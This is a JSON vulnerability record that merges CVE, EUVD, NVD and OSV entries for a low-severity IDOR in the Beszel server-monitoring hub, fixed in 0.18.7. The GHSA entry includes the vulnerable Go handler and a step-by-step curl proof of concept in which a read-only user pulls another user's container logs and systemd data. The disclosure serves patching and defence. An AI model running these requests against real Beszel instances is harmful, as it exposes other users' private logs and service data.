{"id":"GO-2026-5141","revision":null,"records":[{"revision":"ce2dca3dea5a429eb9e2e3438bb668b0","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-40077","aliases":[],"title":"Beszel has an IDOR in hub API endpoints that read system ID from URL parameter","description":"Beszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7.","state":0,"publishedAt":"2026-04-09T19:27:39.364+00:00","modifiedAt":"2026-04-13T20:19:45.967+00:00","affected":[{"ecosystem":"Vendor product","name":"beszel","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"henrygd\",\n                    \"product\": \"beszel\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.18.7\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N","score":3.5,"severity":"LOW"}],"references":["https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm","https://github.com/henrygd/beszel/releases/tag/v0.18.7"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-40077","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-40077","identifiers":["CVE-2026-40077"]},"retained":false,"historicalAffected":[]},{"revision":"6978693ad4bb4eb88b012dae1f2fcef7","observedAt":"2026-10-28T05:00:43.925+00:00","statement":{"source":"euvd","id":"EUVD-2026-21047","aliases":["CVE-2026-40077","GHSA-5f5r-95pg-xrpm"],"title":"Beszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticate…","description":"Beszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N","score":3.5,"severity":null}],"references":["https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm","https://github.com/henrygd/beszel/releases/tag/v0.18.7"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-21047","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 9, 2026, 7:27:39 PM","dateUpdated":"Apr 13, 2026, 8:19:45 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-21047","identifiers":["EUVD-2026-21047","CVE-2026-40077","GHSA-5f5r-95pg-xrpm"]},"retained":false,"historicalAffected":[]},{"revision":"9e9c6086a8714a978addb0b901c5b38b","observedAt":"2026-10-27T10:09:56.341+00:00","statement":{"source":"nvd","id":"CVE-2026-40077","aliases":[],"title":"Beszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticate…","description":"Beszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7.","state":0,"publishedAt":"2026-04-09T20:16:27.23+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N","score":3.5,"severity":"LOW"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N","score":3.1,"severity":"LOW"}],"references":["https://github.com/henrygd/beszel/releases/tag/v0.18.7","https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40077","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-184"],"productCriteria":["cpe:2.3:a:beszel:beszel:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-09T20:16:27.230","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-40077","identifiers":["CVE-2026-40077"]},"retained":false,"historicalAffected":[]},{"revision":"a64ac99c3dd94a159082e50716f0bee8","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-5f5r-95pg-xrpm","aliases":["CVE-2026-40077","GO-2026-5141"],"title":"Beszel has an IDOR in hub API endpoints that read system ID from URL parameter","description":"## Summary\nSome API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID.\n\nSystem IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the `containers` endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string.\n\n## Affected Component\n\n- **File:** `internal/hub/api.go`, lines 283–361\n- **Endpoints:**\n  - `GET /api/beszel/containers/logs?system=SYSTEM_ID&container=CONTAINER_ID`\n  - `GET /api/beszel/containers/info?system=SYSTEM_ID&container=CONTAINER_ID`\n  - `GET /api/beszel/systemd/info?system=SYSTEM_ID&service=SERVICE_NAME`\n  - `POST /api/beszel/smart/refresh?system=SYSTEM_ID`\n- **Commit:** c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84\n\n## Vulnerable Code\n\nThe `containerRequestHandler` function retrieves a system by ID but never verifies the authenticated user is a member of that system:\n\n```go\n// internal/hub/api.go:283-305\nfunc (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error {\n    systemID := e.Request.URL.Query().Get(\"system\")\n    containerID := e.Request.URL.Query().Get(\"container\")\n\n    if systemID == \"\" || containerID == \"\" {\n        return e.JSON(http.StatusBadRequest, map[string]string{\"error\": \"system and container parameters are required\"})\n    }\n    if !containerIDPattern.MatchString(containerID) {\n        return e.JSON(http.StatusBadRequest, map[string]string{\"error\": \"invalid container parameter\"})\n    }\n\n    system, err := h.sm.GetSystem(systemID)\n    // ^^^ No authorization check: e.Auth.Id is never verified against system.users\n    if err != nil {\n        return e.JSON(http.StatusNotFound, map[string]string{\"error\": \"system not found\"})\n    }\n\n    data, err := fetchFunc(system, containerID)\n    if err != nil {\n        return e.JSON(http.StatusNotFound, map[string]string{\"error\": err.Error()})\n    }\n\n    return e.JSON(http.StatusOK, map[string]string{responseKey: data})\n}\n```\n\nThe same pattern applies to `getSystemdInfo` (lines 322–340) and `refreshSmartData` (lines 342–361).\n\nMeanwhile, the standard PocketBase collection API enforces proper membership checks:\n\n```go\n// internal/hub/collections.go:56-57\nsystemsMemberRule := authenticatedRule + \" && users.id ?= @request.auth.id\"\nsystemMemberRule  := authenticatedRule + \" && system.users.id ?= @request.auth.id\"\n```\n\nThese rules are only applied to the PocketBase collection endpoints, **not** to the custom routes registered on `apiAuth`.\n\n### PoC\n**The proof:** The standard PocketBase API returns `404` (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data — proving the authorization check is missing.\n\n#### Step 1: Start the hub\n\n```bash\ncd ~/Evidence/henrygd/beszel/finding418/docker-poc/\ndocker compose up -d\n```\n\nWait a few seconds, then verify:\n\n```bash\ncurl -s http://localhost:8090/api/health\n```\n\nExpected: `{\"message\":\"API is healthy.\",\"code\":200,\"data\":{}}`\n\n#### Step 2: Create User A (admin)\n\nOpen `http://localhost:8090` in a browser and create the first user:\n\n- Email: `usera@test.com`\n- Password: `testpassword1`\n\n#### Step 3: Create User B (readonly)\n\nIn the Beszel UI, go to Users and add a new user:\n\n- Email: `userb@test.com`\n- Password: `testpassword2`\n- Role: **readonly**\n\n#### Step 4: Authenticate as User A\n\n```bash\nTOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identity\":\"usera@test.com\",\"password\":\"testpassword1\"}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\necho \"TOKEN_A=$TOKEN_A\"\n```\n\n#### Step 5: Get hub public key\n\n```bash\nHUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \\\n  -H \"Authorization: $TOKEN_A\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['key'])\")\n\necho \"HUB_KEY=$HUB_KEY\"\n```\n\n#### Step 6: Create a universal token and start the agent\n\n```bash\nUTOK_A=$(curl -s \"http://localhost:8090/api/beszel/universal-token?enable=1\" \\\n  -H \"Authorization: $TOKEN_A\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\necho \"UTOK_A=$UTOK_A\"\n```\n\nFind the Docker network the hub is on:\n\n```bash\nNETWORK=$(docker inspect beszel-hub --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')\necho \"Network: $NETWORK\"\n```\n\nStart the agent on the **same network** so the hub can reach it:\n\n```bash\ndocker run -d --name beszel-agent-a \\\n  --network \"$NETWORK\" \\\n  -e HUB_URL=http://beszel-hub:8090 \\\n  -e TOKEN=\"$UTOK_A\" \\\n  -e KEY=\"$HUB_KEY\" \\\n  henrygd/beszel-agent:latest\n```\n\nWait a few seconds for the agent to register:\n\n```bash\nsleep 5\n```\n\n#### Step 7: Verify User A sees the system\n\n```bash\ncurl -s http://localhost:8090/api/collections/systems/records \\\n  -H \"Authorization: $TOKEN_A\" | python3 -m json.tool\n```\n\nYou should see one system in `items`. Save the system ID:\n\n```bash\nSYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \\\n  -H \"Authorization: $TOKEN_A\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['items'][0]['id'])\")\n\necho \"SYSTEM_A_ID=$SYSTEM_A_ID\"\n```\n\n#### Step 8: Authenticate as User B (readonly)\n\n```bash\nTOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identity\":\"userb@test.com\",\"password\":\"testpassword2\"}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\necho \"TOKEN_B=$TOKEN_B\"\n```\n\nVerify User B sees NO systems:\n\n```bash\ncurl -s http://localhost:8090/api/collections/systems/records \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: `\"totalItems\": 0`\n\n#### Step 9: Control test — standard API blocks User B\n\n```bash\necho \"=== Standard PocketBase API ===\"\ncurl -s -w \"\\nHTTP Status: %{http_code}\\n\" \\\n  \"http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID\" \\\n  -H \"Authorization: $TOKEN_B\"\n```\n\nExpected: **404** — RBAC correctly hides the system from User B.\n\n#### Step 10: IDOR — SMART refresh (User B triggers action on User A's system)\n\n```bash\necho \"=== IDOR: POST /api/beszel/smart/refresh ===\"\ncurl -s \"http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID\" \\\n  -X POST -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR — compare with the 404 from Step 9.\n\n#### Step 11: IDOR — Systemd info (User B reads from User A's system)\n\n```bash\necho \"=== IDOR: GET /api/beszel/systemd/info ===\"\ncurl -s \"http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID&service=sshd\" \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: Hub contacts the agent and returns systemd data or an agent-level error.\n\n#### Step 12: IDOR — Container logs (User B reads from User A's system)\n\nContainer endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent's host:\n\n```bash\n# Get a real container ID from Docker (first 12 hex chars)\nCONTAINER_ID=$(docker ps --format '{{.ID}}' | head -1)\necho \"CONTAINER_ID=$CONTAINER_ID\"\n\necho \"=== IDOR: GET /api/beszel/containers/logs ===\"\ncurl -s \"http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID&container=$CONTAINER_ID\" \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\n#### Step 13: IDOR — Container info (User B reads from User A's system)\n\n```bash\necho \"=== IDOR: GET /api/beszel/containers/info ===\"\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID&container=$CONTAINER_ID\" \\\n  -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\n### Impact\n\n- **Container logs**: Content of recent application logs, potentially including sensitive information\n- **Container info**: Content of Docker engine API's `/containers/{id}/json` endpoint, excluding environment variables\n- **Systemd info**: Unit properties and status for any monitored service\n- **SMART refresh**: Trigger a SMART data update on any system","state":0,"publishedAt":"2026-04-10T17:32:05+00:00","modifiedAt":"2026-06-25T18:56:11.8054852+00:00","affected":[{"ecosystem":"Go","name":"github.com/henrygd/beszel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.18.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm","https://nvd.nist.gov/vuln/detail/CVE-2026-40077","https://github.com/henrygd/beszel","https://github.com/henrygd/beszel/releases/tag/v0.18.7"],"sourceUrl":"https://github.com/advisories/GHSA-5f5r-95pg-xrpm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5f5r-95pg-xrpm","identifiers":["GHSA-5f5r-95pg-xrpm","CVE-2026-40077","GO-2026-5141"]},"retained":false,"historicalAffected":[]},{"revision":"5e3e0d1b237a468193a2fed7a239111d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5141","aliases":["CVE-2026-40077","GHSA-5f5r-95pg-xrpm"],"title":"Beszel has an IDOR in hub API endpoints that read system ID from URL parameter in github.com/henrygd/beszel","description":"Beszel has an IDOR in hub API endpoints that read system ID from URL parameter in github.com/henrygd/beszel","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:26.4509621+00:00","affected":[{"ecosystem":"Go","name":"github.com/henrygd/beszel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.18.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm","https://nvd.nist.gov/vuln/detail/CVE-2026-40077","https://github.com/henrygd/beszel/releases/tag/v0.18.7"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5141","license":"OSV · upstream source license applies","key":"osv:GO-2026-5141","identifiers":["GO-2026-5141","CVE-2026-40077","GHSA-5f5r-95pg-xrpm"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-30T01:48:55.4491357+00:00","complete":true,"records":1764,"lastAttemptAt":"2026-10-30T01:48:55.4491357+00:00","lastSuccessAt":"2026-10-30T01:48:55.6546169+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.6546176+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7e2c4e7288f2c464ad8c61f3bb6017374714faedcc781283ac06a706ee1a820b-8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85","complete":true,"records":416807,"lastAttemptAt":"2026-10-30T01:48:54.7743429+00:00","lastSuccessAt":"2026-10-30T00:54:38.6858592+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:54.7743429+00:00","snapshotPublishedAt":"2026-10-30T01:29:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-824f5092797940c08129032fcab8f0dd","complete":false,"records":13504,"lastAttemptAt":"2026-10-30T02:01:05.0861472+00:00","lastSuccessAt":"2026-10-30T02:01:05.08+00:00","error":"9 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-30T02:01:05.08+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13547,"expectedIdentifiers":13587,"failedIdentifiers":9},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-30T01:48:55.4491357+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-30T01:48:55.4491357+00:00","lastSuccessAt":"2026-10-30T01:48:55.6554576+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.6554578+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c39f89b50d5243318487ad216daf7ffb","complete":true,"records":13527,"lastAttemptAt":"2026-10-30T01:48:56.2261206+00:00","lastSuccessAt":"2026-10-29T22:50:37.74+00:00","error":null,"lastVerifiedAt":"2026-10-29T22:50:37.74+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13587,"expectedIdentifiers":13587,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-9016081e9e88f5929902343d85df87c5c4a1486b10ab07bc6c4f53f98f358871","complete":true,"records":9806,"lastAttemptAt":"2026-10-30T01:48:55.2317852+00:00","lastSuccessAt":"2026-10-29T17:17:25.9359141+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.2317852+00:00","snapshotPublishedAt":"2026-10-29T16:48:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-30T01:48:54.9356382+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:54.9356382+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5221f6b645588be0464ab0e16e8adfe42d1ccd8f841048d2bd4d0c1cf79fd6b1","complete":true,"records":3014,"lastAttemptAt":"2026-10-30T01:48:55.4168216+00:00","lastSuccessAt":"2026-10-30T00:54:54.6624163+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.4168216+00:00","snapshotPublishedAt":"2026-10-30T00:48:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ec5b13e78c39945726a720832da7660d2774969f16e2a34f99460c135811abd5","complete":true,"records":230948,"lastAttemptAt":"2026-10-30T01:48:55.0481567+00:00","lastSuccessAt":"2026-10-29T22:50:35.0693267+00:00","error":null,"lastVerifiedAt":"2026-10-30T01:48:55.0481567+00:00","snapshotPublishedAt":"2026-10-29T22:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}